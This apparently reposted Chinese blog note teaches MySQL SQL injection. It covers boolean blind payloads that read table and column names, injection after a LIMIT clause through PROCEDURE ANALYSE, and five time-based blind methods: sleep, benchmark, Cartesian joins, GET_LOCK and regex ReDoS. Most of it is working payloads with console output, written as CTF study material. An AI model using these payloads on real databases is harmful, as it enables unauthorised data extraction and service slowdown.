热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

mysql+limit+sql注入_sql注入之limit注入和五种时间盲注姿势

0x00前言limit注入和时间前面也提过一点点了,真的非常简单,真不太想单独写一个这个来水博客。。这里还是记录一下吧以后忘了方便复习。0x01limi

0x00前言

limit注入和时间前面也提过一点点了,真的非常简单,真不太想单独写一个这个来水博客。。这里还是记录一下吧以后忘了方便复习。

0x01 limit基础知识

照抄前面的:

这里简单记录一下我自己经常会忘的知识点,觉得不值得再写一篇博客去水了233

使用查询语句的时候,经常要使用limit返回前几条或者中间某几行数据

SELECT?*?FROM?table?LIMIT?[offset,]?rows?|?rows OFFSET offset

LIMIT 子句可以被用于强制 SELECT 语句返回指定的记录数。

LIMIT 接受一个或两个数字参数。参数必须是一个整数常量。

如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。

初始记录行的偏移量是 0(而不是 1):?

比如:

SELECT?*?FROM?table?LIMIT?5,10;??//?检索记录行?6-15,从5+1开始算

SELECT?*?FROM?table?LIMIT?95,-1;?//?检索记录行?96-last.从95+1开始算

//如果只给定一个参数,它表示返回最大的记录行数目:

SELECT?*?FROM?table?LIMIT?5;?????//检索前?5?个记录行

//换句话说,LIMIT n 等价于 LIMIT?0,n

我们再来看一下我们的上面用到的

爆表

" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),§1§,1))=§32§)--+

解释:从第一行开始检索,返回前面1行(0+1)。

如果我们想要爆破第二张表(这里只是随便举例,一般就1张表里面多个字段)

" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),§1§,1))=§32§)--+

解释:从第二行开始检索,返回前面2行(1+1)。

爆字段

" or (ascii(substr((select column_name from information_schema.columns where table_name=‘user_2‘ and table_schema=database() limit 2,1),§1§,1))=§32§)--+

爆破字段,当我们手动盲注这里他表里可能有多个字段,我们分别对这几个字段先猜测长度:

" or (length((select column_name from information_schema.columns where table_name=‘user_2‘ and table_schema=database() limit 0,1))=2)--+正常

" or (length((select column_name from information_schema.columns where table_name=‘user_2‘ and table_schema=database() limit 1,1))=8)--+正常

" or (length((select column_name from information_schema.columns where table_name=‘user_2‘ and table_schema=database() limit 2,1))=8)--+正常

所以user_2表的数据字段长度分别为2、8、8

猜出来长度再进行爆破具体字段名:

第一个字段

" or (ascii(substr((select column_name from information_schema.columns where table_name=‘user_2‘ and table_schema=database() limit 0,1),1,1))>106)--+不回显" or (ascii(substr((select column_name from information_schema.columns where table_name=‘user_2‘ and table_schema=database() limit 0,1),1,1))>105)--+不回显

所以user_2表的第一个字段的字段名的第一个字符ASCII码为105,即“i”。

猜第二个字段把limit 0,1改为limit 1,1

猜第三个字段把limit 0,1改为limit 2,1

以上就是limit在盲注中的作用。

limit注入

参考:

此方法适用于MySQL 5.x中,在limit语句后面的注入

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT injection_point

//上面的语句包含了ORDER BY,MySQL当中UNION语句不能在ORDER BY的后面,否则利用UNION很容易就可以读取数据了,看看在MySQL 5中的SELECT语法: `

SELECT

[ALL | DISTINCT | DISTINCTROW ]

[HIGH_PRIORITY]

[STRAIGHT_JOIN]

[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]

[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]

select_expr [, select_expr ...]

[FROM table_references

[WHERE where_condition]

[GROUP BY {col_name | expr | position}

[ASC | DESC], ... [WITH ROLLUP]]

[HAVING where_condition]

[ORDER BY {col_name | expr | position}

[ASC | DESC], ...]

[LIMIT {[offset,] row_count | row_count OFFSET offset}]

[PROCEDURE procedure_name(argument_list)]

[INTO OUTFILE ‘file_name‘ export_options

| INTO DUMPFILE ‘file_name‘

| INTO var_name [, var_name]]

[FOR UPDATE | LOCK IN SHARE MODE]]

在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的。

Example:select*from limittest limit 1,[可控点] or select ... limit [可控点]

在Limit后面 可以用 procedure analyse()这个子查询

而且只能用extractvalue 和 benchmark 函数进行延时

报错注入

mysql> select * from users where id>1 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

ERROR 1105 (HY000): XPATH syntax error: ‘:5.5.53‘

updatexml+benchmark也是可以的,这两个函数虽然返回结果相同,但是还是有区别的。

时间注入‘

elect * from users where id>1 order by id limit 1,1 procedure analyse((select extractvalue

(rand(),concat(0x3a,(IF(MID(version(),1,1) like 5,BENCHMARK(5000000,SHA1(1)),1))))),1);

这里解释一下benchmark,后面也会提到。

benchmark函数有两个参数,第一个是执行次数,第二个是要测试的函数或者表达式 比如 benchmark(10000000,sha1(1)) 意思是执行sha1函数10000000次 使mysql运算量增大 导致延时 有点类似与多表联合查询(笛卡尔积)

20200329124117732430.png

可以看到大概执行10000000次会造成2.75秒的延时

五种时间盲注姿势

参考

sleep()函数

benchmark函数

BENCHMARK(count,expr)

benchmark函数有两个参数,第一个是执行次数,第二个是要测试的函数或者表达式 比如 benchmark(10000000,sha1(1)) 意思是执行sha1函数10000000次 使mysql运算量增大 导致延时 有点类似与多表联合查询(笛卡尔积)

20200329124117924820.png

可以看到大概执行10000000次会造成2.75秒的延时

笛卡尔积盲注

注入姿势

mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;

+-----------+

| count(*) |

+-----------+

| 113101560 |

+-----------+

1 row in set (2.07 sec)

mysql> select * from ctf_test where user=‘1‘ and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C);

+------+-----+

| user | pwd |

+------+-----+

| 1 | 0 |

+------+-----+

1 row in set (2.08 sec)

mysql> select * from ctf_test where user=‘1‘ and 1=0 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C);

Empty set (0.01 sec)

利用and短路运算规则进行时间盲注。

GET_LOCK盲注

get_lock函数官方文档中的介绍

20200329124118022480.png

可以看出文档中写的是我们如果已经开了一个session,对关键字进行了get_lock,那么再开另一个session再次对关键进行get_lock,就会延时我们指定的时间。

此盲注手法有一些限制,就是必须要同时开两个SESSION进行注入

SESSION A

mysql> select get_lock(‘lihuaiqiu‘,1);

+-------------------------+

| get_lock(‘lihuaiqiu‘,1) |

+-------------------------+

| 1 |

+-------------------------+

1 row in set (0.00 sec)

SESSION B

mysql> select get_lock(‘lihuaiqiu‘,5);

+-------------------------+

| get_lock(‘lihuaiqiu‘,5) |

+-------------------------+

| 0 |

+-------------------------+

1 row in set (5.00 sec)

mysql> select * from ctf_test where user=‘0‘ and 1=1 and get_lock(‘lihuaiqiu‘,2);

Empty set (2.00 sec)

mysql> select * from ctf_test where user=‘0‘ and 1=0 and get_lock(‘lihuaiqiu‘,2);

Empty set (0.00 sec)

正则DOS?RLIKE注入

延时原理,利用SQL多次计算正则消耗计算资源产生延时效果,其实原理是和我们的benchmark注入差不多的。

mysql> select * from flag where flag=‘1‘ and if(mid(user(),1,1)=‘s‘,concat(rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘)) RLIKE ‘(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b‘,1);

+------+

| flag |

+------+

| 1 |

+------+

1 row in set (0.00 sec)

mysql> select * from flag where flag=‘1‘ and if(mid(user(),1,1)=‘r‘,concat(rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘)) RLIKE ‘(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+cd‘,1);

Empty set (3.83 sec)

参考



推荐阅读
  • 本文介绍了如何利用Shell脚本高效地部署MHA(MySQL High Availability)高可用集群。通过详细的脚本编写和配置示例,展示了自动化部署过程中的关键步骤和注意事项。该方法不仅简化了集群的部署流程,还提高了系统的稳定性和可用性。 ... [详细]
  • 如何有效防御网站中的SQL注入攻击
    本期文章将深入探讨网站如何有效防御SQL注入攻击。我们将从技术层面详细解析防范措施,并结合实际案例进行阐述,旨在帮助读者全面了解并掌握有效的防护策略。希望本文能为您的网络安全提供有益参考。 ... [详细]
  • 在Android应用开发中,实现与MySQL数据库的连接是一项重要的技术任务。本文详细介绍了Android连接MySQL数据库的操作流程和技术要点。首先,Android平台提供了SQLiteOpenHelper类作为数据库辅助工具,用于创建或打开数据库。开发者可以通过继承并扩展该类,实现对数据库的初始化和版本管理。此外,文章还探讨了使用第三方库如Retrofit或Volley进行网络请求,以及如何通过JSON格式交换数据,确保与MySQL服务器的高效通信。 ... [详细]
  • MySQL 5.7 服务端在 Windows 上的安装与配置
    本文详细介绍了在 Windows 系统上安装和配置 MySQL 5.7 服务端的方法,包括 my.ini 配置文件的设置、初始化数据库、启动服务以及设置用户权限等步骤。 ... [详细]
  • MySQL初级篇——字符串、日期时间、流程控制函数的相关应用
    文章目录:1.字符串函数2.日期时间函数2.1获取日期时间2.2日期与时间戳的转换2.3获取年月日、时分秒、星期数、天数等函数2.4时间和秒钟的转换2. ... [详细]
  • Spring Data JdbcTemplate 入门指南
    本文将介绍如何使用 Spring JdbcTemplate 进行数据库操作,包括查询和插入数据。我们将通过一个学生表的示例来演示具体步骤。 ... [详细]
  • PTArchiver工作原理详解与应用分析
    PTArchiver工作原理及其应用分析本文详细解析了PTArchiver的工作机制,探讨了其在数据归档和管理中的应用。PTArchiver通过高效的压缩算法和灵活的存储策略,实现了对大规模数据的高效管理和长期保存。文章还介绍了其在企业级数据备份、历史数据迁移等场景中的实际应用案例,为用户提供了实用的操作建议和技术支持。 ... [详细]
  • 本文详细介绍了在MySQL中如何高效利用EXPLAIN命令进行查询优化。通过实例解析和步骤说明,文章旨在帮助读者深入理解EXPLAIN命令的工作原理及其在性能调优中的应用,内容通俗易懂且结构清晰,适合各水平的数据库管理员和技术人员参考学习。 ... [详细]
  • 如何优化MySQL数据库性能以提升查询效率和系统稳定性 ... [详细]
  • 一关于t1表和testtb的索引设计二把主键放到二级索引的后面,会否占据更多的物理空间?三InnoDB的主键该如何选择,业务ID和自增 ... [详细]
  • http:blog.csdn.netzeo112140articledetails7675195使用TCPdump工具,抓TCP数据包。将数据包上传到PC,通过Wireshark查 ... [详细]
  • MySQL的查询执行流程涉及多个关键组件,包括连接器、查询缓存、分析器和优化器。在服务层,连接器负责建立与客户端的连接,查询缓存用于存储和检索常用查询结果,以提高性能。分析器则解析SQL语句,生成语法树,而优化器负责选择最优的查询执行计划。这一流程确保了MySQL能够高效地处理各种复杂的查询请求。 ... [详细]
  • Android 构建基础流程详解
    Android 构建基础流程详解 ... [详细]
  • 本文深入探讨了NoSQL数据库的四大主要类型:键值对存储、文档存储、列式存储和图数据库。NoSQL(Not Only SQL)是指一系列非关系型数据库系统,它们不依赖于固定模式的数据存储方式,能够灵活处理大规模、高并发的数据需求。键值对存储适用于简单的数据结构;文档存储支持复杂的数据对象;列式存储优化了大数据量的读写性能;而图数据库则擅长处理复杂的关系网络。每种类型的NoSQL数据库都有其独特的优势和应用场景,本文将详细分析它们的特点及应用实例。 ... [详细]
  • 在 Axublog 1.1.0 版本的 `c_login.php` 文件中发现了一个严重的 SQL 注入漏洞。该漏洞允许攻击者通过操纵登录请求中的参数,注入恶意 SQL 代码,从而可能获取敏感信息或对数据库进行未授权操作。建议用户尽快更新到最新版本并采取相应的安全措施以防止潜在的风险。 ... [详细]
author-avatar
被盗不玩了
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有